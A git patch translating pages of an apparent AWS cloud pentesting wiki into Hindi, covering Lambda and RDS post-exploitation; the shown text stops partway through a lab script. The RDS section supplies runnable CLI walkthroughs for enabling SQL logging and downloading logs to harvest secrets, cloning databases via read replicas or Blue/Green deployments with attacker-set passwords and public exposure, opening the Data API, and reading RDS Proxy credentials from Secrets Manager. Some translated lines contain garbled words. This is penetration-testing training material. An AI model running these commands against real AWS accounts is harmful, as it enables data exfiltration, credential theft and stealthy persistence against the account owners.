From 2e4d7a4f61a83d9858ac62f388b4a4049c20ec16 Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 7 Oct 2025 15:40:51 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/aws-security/aws-post-exploitation/aws --- .../aws-lambda-post-exploitation/README.md | 32 +- .../aws-rds-post-exploitation.md | 471 +++++++++++++++++- 2 files changed, 471 insertions(+), 32 deletions(-) diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md index ae4191f7d..cd2b76f1f 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md @@ -4,29 +4,29 @@ ## Lambda -For more information check: +अधिक जानकारी के लिए देखें: {{#ref}} ../../aws-services/aws-lambda-enum.md {{#endref}} -### Exfilrtate Lambda Credentials +### Lambda Credentials को एक्सफिल्ट्रेट करना -Lambda runtime पर credentials inject करने के लिए environment variables का उपयोग करता है। अगर आप उन्हें access कर सकें (जैसे `/proc/self/environ` पढ़कर या vulnerable function का खुद इस्तेमाल करके), तो आप उन्हें खुद इस्तेमाल कर सकते हैं। ये default variable names `AWS_SESSION_TOKEN`, `AWS_SECRET_ACCESS_KEY`, और `AWS_ACCESS_KEY_ID` में रहते हैं। +Lambda रनटाइम पर credentials इंजेक्ट करने के लिए environment variables का उपयोग करता है। यदि आप उन्हें एक्सेस कर पाते हैं (जैसे `/proc/self/environ` पढ़कर या खुद kwetsable function का उपयोग करके), तो आप उन्हें खुद इस्तेमाल कर सकते हैं। ये डिफ़ॉल्ट variable नामों में रहते हैं: `AWS_SESSION_TOKEN`, `AWS_SECRET_ACCESS_KEY`, और `AWS_ACCESS_KEY_ID`। -डिफ़ॉल्ट रूप से, इनको cloudwatch log group में लिखने की access होगी (जिसका नाम `AWS_LAMBDA_LOG_GROUP_NAME` में स्टोर होता है), और arbitrary log groups बनाने की भी, हालांकि Lambda functions अक्सर उनके intended use के आधार पर और permissions भी रखते हैं। +डिफ़ॉल्ट रूप से, इनके पास एक cloudwatch log group में लिखने की अनुमति होती है (जिसका नाम `AWS_LAMBDA_LOG_GROUP_NAME` में स्टोर होता है), साथ ही arbitrary log groups बनाने की भी अनुमति हो सकती है; हालांकि lambda functions अक्सर उनके intended उपयोग के आधार पर अधिक permissions के साथ दिए जाते हैं। -### Steal Others Lambda URL Requests +### अन्य उपयोगकर्ताओं के Lambda URL अनुरोध चुराना -अगर attacker किसी तरह Lambda के अंदर RCE हासिल कर लेता है तो वह अन्य users के HTTP requests जो Lambda को भेजे जाते हैं, चुरा सकता है। अगर उन requests में sensitive जानकारी (cookies, credentials...) हो, तो वह उन्हें चुरा सकेगा। +यदि किसी attacker को किसी Lambda के अंदर RCE मिल जाए तो वह अन्य उपयोगकर्ताओं के उस lambda को भेजे गए HTTP अनुरोध चुरा सकता है। यदि उन अनुरोधों में sensitive जानकारी (cookies, credentials...) है तो attacker उन्हें चुरा सकेगा। {{#ref}} aws-warm-lambda-persistence.md {{#endref}} -### Steal Others Lambda URL Requests & Extensions Requests +### अन्य उपयोगकर्ताओं के Lambda URL अनुरोध और Extensions अनुरोध चुराना -Lambda Layers का दुरुपयोग करके extensions का भी दुरुपयोग कर के Lambda में persist करना, और साथ ही requests को चुराना और बदलना भी संभव है। +Lambda Layers को दुरुपयोग करके extensions का भी दुरुपयोग कर पाना और lambda में persistence बनाए रखना संभव है, साथ ही अनुरोधों को चुराना और modify करना भी संभव है। {{#ref}} ../../aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md @@ -34,7 +34,7 @@ Lambda Layers का दुरुपयोग करके extensions का भ ### AWS Lambda – VPC Egress Bypass -एक empty VpcConfig (SubnetIds=[], SecurityGroupIds=[]) के साथ configuration अपडेट करके एक Lambda function को restricted VPC से बाहर मजबूर कर दें। फिर function Lambda-managed networking plane में चलेगा, और outbound internet access वापस पा लेगा, जिससे private VPC subnets द्वारा लगाए गए egress controls (बिना NAT के) bypass हो जाएंगे। +एक Lambda फ़ंक्शन को किसी restricted VPC से बाहर force करने के लिए इसकी configuration को खाली VpcConfig से अपडेट करें (SubnetIds=[], SecurityGroupIds=[]). ऐसा करने पर फ़ंक्शन Lambda-managed networking plane में चलेगा, आउटबाउंड इंटरनेट एक्सेस बहाल हो जाएगा और बिना NAT वाले private VPC subnets द्वारा लागू किए गए egress controls को बायपास किया जा सकेगा। {{#ref}} aws-lambda-vpc-egress-bypass.md @@ -42,15 +42,15 @@ aws-lambda-vpc-egress-bypass.md ### AWS Lambda – Runtime Pinning/Rollback Abuse -`lambda:PutRuntimeManagementConfig` का दुरुपयोग करके किसी function को एक specific runtime version (Manual) पर pin करें या updates को freeze करें (FunctionUpdate)। इससे malicious layers/wrappers के साथ compatibility बनी रहेगी और function को एक outdated, vulnerable runtime पर रखा जा सकता है ताकि exploitation और long-term persistence में मदद मिल सके। +`lambda:PutRuntimeManagementConfig` का दुरुपयोग करके किसी फ़ंक्शन को एक specific runtime संस्करण (Manual) पर पिन करना या अपडेट्स को freeze करना (FunctionUpdate) संभव है। यह malicious layers/wrappers के साथ compatibility बनाए रखता है और फ़ंक्शन को किसी outdated, vulnerable runtime पर रोककर exploitation और long-term persistence में मदद कर सकता है। {{#ref}} aws-lambda-runtime-pinning-abuse.md {{#endref}} -### AWS Lambda – Log Siphon via LoggingConfig.LogGroup Redirection +### AWS Lambda – LoggingConfig.LogGroup के जरिए लॉग रीडायरेक्शन से डेटा चुराना -`lambda:UpdateFunctionConfiguration` के advanced logging controls का दुरुपयोग करके किसी function के logs को attacker-चुने हुए CloudWatch Logs log group में redirect किया जा सकता है। यह code या execution role बदले बिना काम करता है (most Lambda roles में पहले से `logs:CreateLogGroup/CreateLogStream/PutLogEvents` शामिल होते हैं via `AWSLambdaBasicExecutionRole`)। अगर function secrets/request bodies प्रिंट करता है या stack traces के साथ crash होता है, तो आप उन्हें नए log group से इकट्ठा कर सकते हैं। +`lambda:UpdateFunctionConfiguration` के advanced logging controls का दुरुपयोग करके किसी फ़ंक्शन के logs को attacker-चुने हुए CloudWatch Logs log group में redirect किया जा सकता है। यह कोड या execution role को बदले बिना काम करता है (अधिकांश Lambda रोल्स में पहले से `logs:CreateLogGroup/CreateLogStream/PutLogEvents` शामिल होते हैं जैसे `AWSLambdaBasicExecutionRole`)। अगर फ़ंक्शन secrets/request bodies प्रिंट करता है या stack traces के साथ क्रैश होता है, तो आप उन्हें नए log group से कलेक्ट कर सकते हैं। {{#ref}} aws-lambda-loggingconfig-redirection.md @@ -58,7 +58,7 @@ aws-lambda-loggingconfig-redirection.md ### AWS - Lambda Function URL Public Exposure -Function URL AuthType को NONE पर सेट करके और एक resource-based policy attach करके जो lambda:InvokeFunctionUrl को सभी को देता है, किसी private Lambda Function URL को public unauthenticated endpoint में बदला जा सकता है। इससे internal functions की anonymous invocation संभव हो जाती है और sensitive backend operations expose हो सकते हैं। +Function URL AuthType को NONE पर सेट करके और एक resource-based policy अटैच करके जो lambda:InvokeFunctionUrl को सभी को प्रदान करे, किसी private Lambda Function URL को public unauthenticated endpoint में बदला जा सकता है। इससे internal functions का anonymous invocation संभव हो जाता है और संवेदनशील backend ऑपरेशन्स exposure हो सकते हैं। {{#ref}} aws-lambda-function-url-public-exposure.md @@ -66,15 +66,15 @@ aws-lambda-function-url-public-exposure.md ### AWS Lambda – Event Source Mapping Target Hijack -`UpdateEventSourceMapping` का दुरुपयोग करके existing Event Source Mapping (ESM) के target Lambda function को बदल दें ताकि DynamoDB Streams, Kinesis, या SQS के records attacker-controlled function को डिलीवर हों। यह producers या original function code को छुए बिना live data को silently divert कर देता है। +`UpdateEventSourceMapping` का दुरुपयोग करके किसी existing Event Source Mapping (ESM) के target Lambda function को बदल दिया जा सकता है ताकि DynamoDB Streams, Kinesis, या SQS से आने वाले records attacker-controlled function को डिलीवर हों। यह producers या original function code को छुए बिना live data को चुपचाप divert कर देता है। {{#ref}} aws-lambda-event-source-mapping-hijack.md {{#endref}} -### AWS Lambda – EFS Mount Injection data exfiltration +### AWS Lambda – EFS Mount Injection के जरिए डेटा एक्सफिल्ट्रेशन -`lambda:UpdateFunctionConfiguration` का दुरुपयोग करके किसी existing EFS Access Point को Lambda से attach करें, फिर ऐसे trivial code deploy करें जो mounted path से files list/read करे ताकि function पहले जिन तक पहुँच नहीं था वे shared secrets/config exfiltrate किए जा सकें। +`lambda:UpdateFunctionConfiguration` का दुरुपयोग करके किसी existing EFS Access Point को Lambda के साथ attach करें, फिर trivial code deploy करके mounted path से files list/read करें ताकि साझा secrets/config को exfiltrate किया जा सके जिन्हें फ़ंक्शन पहले access नहीं कर पाता था। {{#ref}} aws-lambda-efs-mount-injection.md diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md index 261acb6e8..6ea962d5b 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md @@ -12,7 +12,7 @@ ### `rds:CreateDBSnapshot`, `rds:RestoreDBInstanceFromDBSnapshot`, `rds:ModifyDBInstance` -If the attacker has enough permissions, he could make a **DB सार्वजनिक रूप से सुलभ** by creating a snapshot of the DB, and then a publicly accessible DB from the snapshot. +यदि attacker के पास पर्याप्त permissions हैं, तो वह DB को **DB publicly accessible** बनाने के लिए DB का snapshot बनाकर और उस snapshot से एक publicly accessible DB बना सकता है। ```bash aws rds describe-db-instances # Get DB identifier @@ -40,9 +40,9 @@ aws rds modify-db-instance \ ``` ### `rds:ModifyDBSnapshotAttribute`, `rds:CreateDBSnapshot` -एक हमलावर के पास ये permissions होने पर वह एक DB का **snapshot** बना सकता है और उसे **publicly** **available** कर सकता है। फिर वह अपने ही account में उस snapshot से एक DB बना सकता है। +इन permissions वाले attacker एक DB का **snapshot** बना सकता है और उसे **सार्वजनिक** **उपलब्ध** कर सकता है। फिर वह अपने account में उस snapshot से एक DB बना सकता है। -यदि हमलावर के पास `rds:CreateDBSnapshot` नहीं है, तब भी वह अन्य बनाए गए snapshots को **public** कर सकता है। +यदि attacker के पास `rds:CreateDBSnapshot` नहीं है, तब भी वह बनाए गए **अन्य** snapshots को **सार्वजनिक** बना सकता है। ```bash # create snapshot aws rds create-db-snapshot --db-instance-identifier --db-snapshot-identifier @@ -53,11 +53,11 @@ aws rds modify-db-snapshot-attribute --db-snapshot-identifier -- ``` ### `rds:DownloadDBLogFilePortion` -जिसके पास `rds:DownloadDBLogFilePortion` अनुमति है, वह किसी RDS instance की लॉग फ़ाइलों के हिस्से **डाउनलोड** कर सकता है। यदि संवेदनशील डेटा या access credentials गलती से लॉग हो गए हों, तो हमलावर इन जानकारियों का उपयोग करके अपने अधिकार बढ़ा सकता है या अनधिकृत क्रियाएँ कर सकता है। +An attacker with the `rds:DownloadDBLogFilePortion` permission can **RDS instance की लॉग फ़ाइलों के हिस्से डाउनलोड कर सकता है**. अगर संवेदनशील डेटा या access credentials गलती से लॉग हो जाएँ, तो attacker संभावित रूप से इन जानकारियों का उपयोग करके escalate their privileges या perform unauthorized actions कर सकता है। ```bash aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text ``` -**संभावित प्रभाव**: leaked credentials का उपयोग करके संवेदनशील जानकारी तक पहुँच या अनधिकृत कार्रवाइयाँ। +**Potential Impact**: संवेदनशील जानकारी तक पहुंच या अनधिकृत क्रियाएँ करने के लिए leaked credentials का उपयोग। ### `rds:DeleteDBInstance` @@ -66,14 +66,14 @@ aws rds download-db-log-file-portion --db-instance-identifier target-instance -- # Delete aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot ``` -**Potential impact**: मौजूदा RDS instances का हटना, और संभावित डेटा हानि। +**Potential impact**: मौजूदा RDS इंस्टेंस का हट जाना, और संभावित डेटा हानि। ### `rds:StartExportTask` > [!NOTE] -> TODO: परीक्षण +> TODO: टेस्ट करें -यह अनुमति रखने वाला एक हमलावर **export an RDS instance snapshot to an S3 bucket** कर सकता है। यदि हमलावर के पास गंतव्य S3 bucket पर नियंत्रण है, तो वे निर्यातित RDS instance snapshot के भीतर संवेदनशील डेटा तक संभावित रूप से पहुँच सकते हैं। +एक हमलावर जिसके पास यह अनुमति है, वे **RDS instance स्नैपशॉट को S3 bucket में export कर सकते हैं**। यदि हमलावर के पास destination S3 bucket पर नियंत्रण है, तो वे निर्यात किए गए स्नैपशॉट के भीतर संवेदनशील डेटा तक संभावित रूप से पहुँच प्राप्त कर सकते हैं। ```bash aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id ``` @@ -81,17 +81,17 @@ aws rds start-export-task --export-task-identifier attacker-export-task --source ### Cross-Region Automated Backups Replication for Stealthy Restore (`rds:StartDBInstanceAutomatedBackupsReplication`) -क्रॉस-रीजन ऑटोमेटेड बैकअप्स रिप्लिकेशन का दुरुपयोग करके चुपके से किसी RDS instance के automated backups को दूसरी AWS Region में डुप्लिकेट करें और वहां restore करें। attacker फिर restored DB को सार्वजनिक रूप से उपलब्ध बना सकता है और master password रिसेट करके डेटा को उस Region से बाहर एक्सेस कर सकता है जिस Region की defenders निगरानी नहीं कर रहे होंगे। +cross-Region automated backups replication का दुरुपयोग करके चुपचाप किसी RDS instance के automated backups को दूसरे AWS Region में डुप्लिकेट किया जा सकता है और वहाँ restore किया जा सकता है। इसके बाद हमलावर restored DB को सार्वजनिक रूप से accessible बना सकता है और master password reset करके उस Region में उन डेटा तक out-of-band पहुंच बना सकता है जिसकी निगरानी रक्षक नहीं कर रहे हों। Permissions needed (minimum): -- `rds:StartDBInstanceAutomatedBackupsReplication` in the destination Region -- `rds:DescribeDBInstanceAutomatedBackups` in the destination Region -- `rds:RestoreDBInstanceToPointInTime` in the destination Region -- `rds:ModifyDBInstance` in the destination Region -- `rds:StopDBInstanceAutomatedBackupsReplication` (optional cleanup) -- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (रिस्टोर की गई DB को एक्सपोज़ करने के लिए) +- `rds:StartDBInstanceAutomatedBackupsReplication` गंतव्य Region में +- `rds:DescribeDBInstanceAutomatedBackups` गंतव्य Region में +- `rds:RestoreDBInstanceToPointInTime` गंतव्य Region में +- `rds:ModifyDBInstance` गंतव्य Region में +- `rds:StopDBInstanceAutomatedBackupsReplication` (वैकल्पिक सफाई) +- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (restored DB को expose करने के लिए) -Impact: प्रोडक्शन डेटा की एक कॉपी को दूसरी Region में restore करके और attacker-नियंत्रित क्रेडेंशियल्स के साथ उसे सार्वजनिक रूप से एक्सपोज़ करके persistence और डेटा exfiltration। +Impact: production डेटा की एक कॉपी को दूसरे Region में restore करके और उसे सार्वजनिक रूप से attacker-controlled credentials से expose करके persistence और डेटा exfiltration किया जा सकता है।
End-to-end CLI (replace placeholders) @@ -163,4 +163,443 @@ aws rds stop-db-instance-automated-backups-replication \
+### DB parameter groups के माध्यम से full SQL logging सक्षम करें और RDS log APIs के माध्यम से exfiltrate करें + +`rds:ModifyDBParameterGroup` का दुरुपयोग करके और RDS log download APIs का उपयोग करके applications द्वारा execute किए गए सभी SQL statements को capture करें (DB engine credentials की आवश्यकता नहीं)। Engine SQL logging सक्षम करें और file logs को `rds:DescribeDBLogFiles` और `rds:DownloadDBLogFilePortion` (या REST `downloadCompleteLogFile`) के माध्यम से खींचें। यह उन queries को इकट्ठा करने में उपयोगी है जिनमें secrets/PII/JWTs हो सकते हैं। + +Permissions needed (minimum): +- `rds:DescribeDBInstances`, `rds:DescribeDBLogFiles`, `rds:DownloadDBLogFilePortion` +- `rds:CreateDBParameterGroup`, `rds:ModifyDBParameterGroup` +- `rds:ModifyDBInstance` (केवल तभी जब instance default parameter group इस्तेमाल कर रहा हो और आपको custom parameter group attach करना हो) +- `rds:RebootDBInstance` (उन parameters के लिए जिनके लिए reboot आवश्यक है, उदाहरण के लिए PostgreSQL) + +Steps +1) Recon target और current parameter group की पहचान करें +```bash +aws rds describe-db-instances \ +--query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBParameterGroups[0].DBParameterGroupName]' \ +--output table +``` +2) सुनिश्चित करें कि एक custom DB parameter group जुड़ा हुआ है (default को संपादित नहीं किया जा सकता) +- यदि instance पहले से ही किसी custom group का उपयोग कर रहा है, तो अगले चरण में उसका नाम पुन: उपयोग करें। +- अन्यथा engine family से मेल खाता हुआ एक बनाएँ और संलग्न करें: +```bash +# Example for PostgreSQL 16 +aws rds create-db-parameter-group \ +--db-parameter-group-name ht-logs-pg \ +--db-parameter-group-family postgres16 \ +--description "HT logging" + +aws rds modify-db-instance \ +--db-instance-identifier \ +--db-parameter-group-name ht-logs-pg \ +--apply-immediately +# Wait until status becomes "available" +``` +3) विस्तृत SQL लॉगिंग सक्षम करें +- MySQL इंजन (तुरंत / बिना रिबूट): +```bash +aws rds modify-db-parameter-group \ +--db-parameter-group-name \ +--parameters \ +"ParameterName=general_log,ParameterValue=1,ApplyMethod=immediate" \ +"ParameterName=log_output,ParameterValue=FILE,ApplyMethod=immediate" +# Optional extras: +# "ParameterName=slow_query_log,ParameterValue=1,ApplyMethod=immediate" \ +# "ParameterName=long_query_time,ParameterValue=0,ApplyMethod=immediate" +``` +- PostgreSQL engines (रीबूट आवश्यक): +```bash +aws rds modify-db-parameter-group \ +--db-parameter-group-name \ +--parameters \ +"ParameterName=log_statement,ParameterValue=all,ApplyMethod=pending-reboot" +# Optional to log duration for every statement: +# "ParameterName=log_min_duration_statement,ParameterValue=0,ApplyMethod=pending-reboot" + +# Reboot if any parameter is pending-reboot +aws rds reboot-db-instance --db-instance-identifier +``` +4) वर्कलोड चलने दें (या क्वेरीज जनरेट करें)। स्टेटमेंट्स engine file logs में लिखे जाएंगे +- MySQL: `general/mysql-general.log` +- PostgreSQL: `postgresql.log` + +5) लॉग खोजें और डाउनलोड करें (no DB creds required) +```bash +aws rds describe-db-log-files --db-instance-identifier + +# Pull full file via portions (iterate until AdditionalDataPending=false). For small logs a single call is enough: +aws rds download-db-log-file-portion \ +--db-instance-identifier \ +--log-file-name general/mysql-general.log \ +--starting-token 0 \ +--output text > dump.log +``` +6) offline में संवेदनशील डेटा के लिए विश्लेषण करें +```bash +grep -Ei "password=|aws_access_key_id|secret|authorization:|bearer" dump.log | sed 's/\(aws_access_key_id=\)[A-Z0-9]*/\1AKIA.../; s/\(secret=\).*/\1REDACTED/; s/\(Bearer \).*/\1REDACTED/' | head +``` +उदाहरण साक्ष्य (संशोधित): +```text +2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('user=alice password=Sup3rS3cret!') +2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('authorization: Bearer REDACTED') +2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('aws_access_key_id=AKIA... secret=REDACTED') +``` +सफाई +- पैरामीटर को डिफ़ॉल्ट पर वापस करें और आवश्यक होने पर रिबूट करें: +```bash +# MySQL +aws rds modify-db-parameter-group \ +--db-parameter-group-name \ +--parameters \ +"ParameterName=general_log,ParameterValue=0,ApplyMethod=immediate" + +# PostgreSQL +aws rds modify-db-parameter-group \ +--db-parameter-group-name \ +--parameters \ +"ParameterName=log_statement,ParameterValue=none,ApplyMethod=pending-reboot" +# Reboot if pending-reboot +``` +Impact: Post-exploitation के दौरान AWS APIs के माध्यम से सभी application SQL statements को capture करके डेटा एक्सेस (no DB creds), जिससे secrets, JWTs, और PII leak होने की संभावना। + +### `rds:CreateDBInstanceReadReplica`, `rds:ModifyDBInstance` + +RDS read replicas का दुरुपयोग करके primary instance credentials को छुए बिना out-of-band read access हासिल किया जा सकता है। एक attacker production instance से read replica बना सकता है, replica का master password reset कर सकता है (यह primary को बदलता नहीं है), और optionally replica को publicly expose करके data को exfiltrate कर सकता है। + +Permissions needed (minimum): +- `rds:DescribeDBInstances` +- `rds:CreateDBInstanceReadReplica` +- `rds:ModifyDBInstance` +- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (if exposing publicly) + +Impact: Read-only access to production data via a replica with attacker-controlled credentials; lower detection likelihood as the primary remains untouched and replication continues. +```bash +# 1) Recon: find non-Aurora sources with backups enabled +aws rds describe-db-instances \ +--query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBInstanceArn,DBSubnetGroup.DBSubnetGroupName,VpcSecurityGroups[0].VpcSecurityGroupId,PubliclyAccessible]' \ +--output table + +# 2) Create a permissive SG (replace and ) +aws ec2 create-security-group --group-name rds-repl-exfil --description 'RDS replica exfil' --vpc-id --query GroupId --output text +aws ec2 authorize-security-group-ingress --group-id --ip-permissions '[{"IpProtocol":"tcp","FromPort":3306,"ToPort":3306,"IpRanges":[{"CidrIp":"","Description":"tester"}]}]' + +# 3) Create the read replica (optionally public) +aws rds create-db-instance-read-replica \ +--db-instance-identifier \ +--source-db-instance-identifier \ +--db-instance-class db.t3.medium \ +--publicly-accessible \ +--vpc-security-group-ids +aws rds wait db-instance-available --db-instance-identifier + +# 4) Reset ONLY the replica master password (primary unchanged) +aws rds modify-db-instance --db-instance-identifier --master-user-password 'NewStr0ng!Passw0rd' --apply-immediately +aws rds wait db-instance-available --db-instance-identifier + +# 5) Connect and dump (use the SOURCE master username + NEW password) +REPL_ENDPOINT=$(aws rds describe-db-instances --db-instance-identifier --query 'DBInstances[0].Endpoint.Address' --output text) +# e.g., with mysql client: mysql -h "$REPL_ENDPOINT" -u -p'NewStr0ng!Passw0rd' -e 'SHOW DATABASES; SELECT @@read_only, CURRENT_USER();' + +# Optional: promote for persistence +# aws rds promote-read-replica --db-instance-identifier +``` +उदाहरण साक्ष्य (MySQL): +- Replica DB स्थिति: `available`, read replication: `replicating` +- नए पासवर्ड के साथ सफल कनेक्शन और `@@read_only=1` यह पुष्टि करता है कि read-only replica तक पहुँच संभव है। + +### `rds:CreateBlueGreenDeployment`, `rds:ModifyDBInstance` + +RDS Blue/Green का दुरुपयोग कर production DB को लगातार replicate होने वाले, read-only green environment में clone करें। फिर green master credentials को reset करके डेटा तक पहुँच प्राप्त करें बिना blue (prod) instance को छुए। यह snapshot sharing की तुलना में अधिक stealthy है और अक्सर केवल source पर फोकस किए गए monitoring को bypass कर देता है। +```bash +# 1) Recon – find eligible source (non‑Aurora MySQL/PostgreSQL in the same account) +aws rds describe-db-instances \ +--query 'DBInstances[*].[DBInstanceIdentifier,DBInstanceArn,Engine,EngineVersion,DBSubnetGroup.DBSubnetGroupName,PubliclyAccessible]' + +# Ensure: automated backups enabled on source (BackupRetentionPeriod > 0), no RDS Proxy, supported engine/version + +# 2) Create Blue/Green deployment (replicates blue->green continuously) +aws rds create-blue-green-deployment \ +--blue-green-deployment-name ht-bgd-attack \ +--source \ +# Optional to upgrade: --target-engine-version + +# Wait until deployment Status becomes AVAILABLE, then note the green DB id +aws rds describe-blue-green-deployments \ +--blue-green-deployment-identifier \ +--query 'BlueGreenDeployments[0].SwitchoverDetails[0].TargetMember' + +# Typical green id: -green-XXXX + +# 3) Reset the green master password (does not affect blue) +aws rds modify-db-instance \ +--db-instance-identifier \ +--master-user-password 'Gr33n!Exfil#1' \ +--apply-immediately + +# Optional: expose the green for direct access (attach an SG that allows the DB port) +aws rds modify-db-instance \ +--db-instance-identifier \ +--publicly-accessible \ +--vpc-security-group-ids \ +--apply-immediately + +# 4) Connect to the green endpoint and query/exfiltrate (green is read‑only) +aws rds describe-db-instances \ +--db-instance-identifier \ +--query 'DBInstances[0].Endpoint.Address' --output text + +# Then connect with the master username and the new password and run SELECT/dumps +# e.g. MySQL: mysql -h -u -p'Gr33n!Exfil#1' + +# 5) Cleanup – remove blue/green and the green resources +aws rds delete-blue-green-deployment \ +--blue-green-deployment-identifier \ +--delete-target true +``` +प्रभाव: production इंस्टेंस को संशोधित किए बिना production के near-real-time क्लोन तक केवल-पढ़ने (read-only) पर पूर्ण डेटा एक्सेस। चुपके से डेटा निकालने (stealthy data extraction) और ऑफ़लाइन विश्लेषण के लिए उपयोगी। + +### RDS Data API के माध्यम से Out-of-band SQL — HTTP endpoint सक्षम करके + master password रीसेट करके + +Aurora का दुरुपयोग करके target cluster पर RDS Data API HTTP endpoint सक्षम करें, master password को ऐसे मान पर रीसेट करें जिसे आप नियंत्रित करते हैं, और HTTPS पर SQL चलाएँ (कोई VPC network path आवश्यक नहीं)। यह उन Aurora engines पर काम करता है जो Data API/EnableHttpEndpoint का समर्थन करते हैं (उदा., Aurora MySQL 8.0 provisioned; कुछ Aurora PostgreSQL/MySQL versions)। + +अनुमतियाँ (न्यूनतम): +- rds:DescribeDBClusters, rds:ModifyDBCluster (or rds:EnableHttpEndpoint) +- secretsmanager:CreateSecret +- rds-data:ExecuteStatement (and rds-data:BatchExecuteStatement if used) + +प्रभाव: नेटवर्क segmentation को बायपास करके और DB के साथ सीधे VPC connectivity के बिना AWS APIs के माध्यम से डेटा एक्सफिल्ट्रेट करें। + +
+End-to-end CLI (Aurora MySQL उदाहरण) +```bash +# 1) Identify target cluster ARN +REGION=us-east-1 +CLUSTER_ID= +CLUSTER_ARN=$(aws rds describe-db-clusters --region $REGION \ +--db-cluster-identifier $CLUSTER_ID \ +--query 'DBClusters[0].DBClusterArn' --output text) + +# 2) Enable Data API HTTP endpoint on the cluster +# Either of the following (depending on API/engine support): +aws rds enable-http-endpoint --region $REGION --resource-arn "$CLUSTER_ARN" +# or +aws rds modify-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \ +--enable-http-endpoint --apply-immediately + +# Wait until HttpEndpointEnabled is True +aws rds wait db-cluster-available --region $REGION --db-cluster-identifier $CLUSTER_ID +aws rds describe-db-clusters --region $REGION --db-cluster-identifier $CLUSTER_ID \ +--query 'DBClusters[0].HttpEndpointEnabled' --output text + +# 3) Reset master password to attacker-controlled value +aws rds modify-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \ +--master-user-password 'Sup3rStr0ng!1' --apply-immediately +# Wait until pending password change is applied +while :; do +aws rds wait db-cluster-available --region $REGION --db-cluster-identifier $CLUSTER_ID +P=$(aws rds describe-db-clusters --region $REGION --db-cluster-identifier $CLUSTER_ID \ +--query 'DBClusters[0].PendingModifiedValues.MasterUserPassword' --output text) +[[ "$P" == "None" || "$P" == "null" ]] && break +sleep 10 +done + +# 4) Create a Secrets Manager secret for Data API auth +SECRET_ARN=$(aws secretsmanager create-secret --region $REGION --name rdsdata/demo-$CLUSTER_ID \ +--secret-string '{"username":"admin","password":"Sup3rStr0ng!1"}' \ +--query ARN --output text) + +# 5) Prove out-of-band SQL via HTTPS using rds-data +# (Example with Aurora MySQL; for PostgreSQL, adjust SQL and username accordingly) +aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \ +--secret-arn "$SECRET_ARN" --database mysql --sql "create database if not exists demo;" +aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \ +--secret-arn "$SECRET_ARN" --database demo --sql "create table if not exists pii(note text);" +aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \ +--secret-arn "$SECRET_ARN" --database demo --sql "insert into pii(note) values ('token=SECRET_JWT');" +aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \ +--secret-arn "$SECRET_ARN" --database demo --sql "select current_user(), now(), (select count(*) from pii) as row_count;" \ +--format-records-as JSON +``` +
+ +नोट्स: +- अगर multi-statement SQL को `rds-data` अस्वीकार कर देता है, तो अलग-अलग `execute-statement` कॉल जारी करें। +- जिन engines पर `modify-db-cluster --enable-http-endpoint` का कोई प्रभाव नहीं होता, वहाँ `rds enable-http-endpoint --resource-arn` का उपयोग करें। +- सुनिश्चित करें कि engine/version वास्तव में `Data API` को सपोर्ट करता है; अन्यथा `HttpEndpointEnabled` False ही रहेगा। + + +### RDS Proxy auth secrets के माध्यम से DB credentials प्राप्त करें (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`) + +RDS Proxy configuration का दुरुपयोग करके उस Secrets Manager secret का पता लगाएँ जो backend authentication के लिए उपयोग होता है, फिर secret पढ़कर database credentials प्राप्त करें। कई environments व्यापक `secretsmanager:GetSecretValue` अनुमति देते हैं, जिससे यह DB creds तक पहुँचने का कम-रुकावट मार्ग बन जाता है। यदि secret किसी CMK का उपयोग करता है, तो mis-scoped KMS permissions भी `kms:Decrypt` की अनुमति दे सकते हैं। + +आवश्यक permissions (न्यूनतम): +- `rds:DescribeDBProxies` +- `secretsmanager:GetSecretValue` उस संदर्भित SecretArn पर +- यदि secret किसी CMK का उपयोग कर रहा हो तो वैकल्पिक: उस key पर `kms:Decrypt` + +प्रभाव: proxy पर configured DB username/password का तात्कालिक खुलासा; direct DB access या आगे के lateral movement को सक्षम बनाता है। + +कदम +```bash +# 1) Enumerate proxies and extract the SecretArn used for auth +aws rds describe-db-proxies \ +--query DBProxies[*].[DBProxyName,Auth[0].AuthScheme,Auth[0].SecretArn] \ +--output table + +# 2) Read the secret value (common over-permission) +aws secretsmanager get-secret-value \ +--secret-id \ +--query SecretString --output text +# Example output: {"username":"admin","password":"S3cr3t!"} +``` +लैब (पुनरुत्पादन के लिए न्यूनतम) +```bash +REGION=us-east-1 +ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text) 